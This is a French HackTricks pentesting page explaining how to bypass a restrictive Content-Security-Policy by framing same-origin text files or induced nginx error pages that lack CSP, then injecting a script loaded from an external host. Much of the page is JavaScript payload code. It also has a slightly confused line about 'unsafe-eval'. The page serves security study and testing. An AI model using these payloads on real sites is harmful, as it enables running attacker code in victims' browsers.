{{#include ../../banners/hacktricks-training.md}} Une configuration telle que : ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple : `eval, setTimeout, setInterval` seront tous bloqués en raison du paramètre `unsafe-eval`. Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, en particulier, JS. ### Via Texte & Images Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si un fichier image ou texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en tant que HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles : ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" document.body.appendChild(frame) script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ### Via Erreurs De même, les réponses d'erreur, comme les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Des erreurs peuvent être induites pour se charger dans une iframe, permettant les actions suivantes : ```javascript // Inducing an nginx error frame = document.createElement("iframe") frame.src = "/%2e%2e%2f" document.body.appendChild(frame) // Triggering an error with a long URL frame = document.createElement("iframe") frame.src = "/" + "A".repeat(20000) document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit : ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ## Références - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}}